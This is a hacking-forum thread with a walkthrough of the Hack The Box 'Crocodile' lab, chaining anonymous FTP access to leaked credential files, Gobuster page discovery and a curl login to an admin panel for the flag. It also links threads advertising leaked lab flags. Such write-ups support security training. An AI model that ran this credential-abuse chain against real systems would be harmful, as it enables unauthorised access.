Temporary Advertisements:
Ad
Ad
Ad
HTB Crocodile: From Anonymous FTP to Admin Panel for the Flag
by exo - Friday February 6, 2026 at 10:10 PM
#1
[HEADING=1]Introduction[/HEADING]
In this tutorial, we’ll chain an anonymous FTP leak into a hidden web admin login on Hack The Box’s Crocodile box to retrieve the flag.

You’ll learn to:
  • - Enumerate FTP and download leaked credential files
  • - Extract valid usernames/passwords
  • - Use Gobuster to discover hidden web pages
  • - Authenticate to a PHP login panel and capture the flag
[HEADING=1]Prerequisites[/HEADING]
  • - Kali Linux (or any distro with ftp, gobuster, curl)
  • - HTB VPN connection


[HEADING=1]1. FTP Enumeration[/HEADING]
[CODE=bash]nmap -sC -sV -p 21,80 <IP>
ftp <IP>
# login: anonymous
dir
get allowed.userlist
get allowed.userlist.passwd[/CODE]

Inspect the lists:

cat allowed.userlist
cat allowed.userlist.passwd

[HEADING=1]2. Extract Credentials[/HEADING]
From allowed.userlist + .passwd, find a valid pair (e.g. admin / Supersecretpassword1).

[HEADING=1]3. Discover Hidden Pages[/HEADING]
[CODE=bash]gobuster dir \
--url http://<IP>/ \
--wordlist /usr/share/wordlists/dirb/common.txt \
-x php,html[/CODE]
Look for /login.php.

[HEADING=1]4. Admin Login & Flag[/HEADING]
[CODE=bash]curl -d "username=admin&password=Supersecretpassword1" \
http://<IP>/login.php[/CODE]
You’ll be redirected to the Admin panel—your flag is displayed at the top.


[HEADING=1]5. Lessons Learned[/HEADING]
Reply
#2
why u repostin a writeup of a random box that aint written by u...
Reply
#3
likoud Wrote:why u repostin a writeup of a random box that aint written by u...
mb, lost this account... Nobody posted anything when i put this one. Older one's are from a different forums, they just imported the database.

keyfive5 is part of my HackTheBox's team. And I just posted his write-up since someone asked in the Shoutbox what was this sub for.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 84 11,165 9 hours ago
Last Post: groningen1981
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 165 34,662 9 hours ago
Last Post: groningen1981
  Finding solutions/flags/writeups for challenges meomeothantai 0 130 Today, 04:13 AM
Last Post: meomeothantai
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 625 115,337 Today, 03:26 AM
Last Post: kevin25hxl
  [FREE] CPTS 12 FLAGS pulsebreaker 168 19,541 Today, 12:57 AM
Last Post: blooper1337

Forum Jump:


 Users browsing this forum: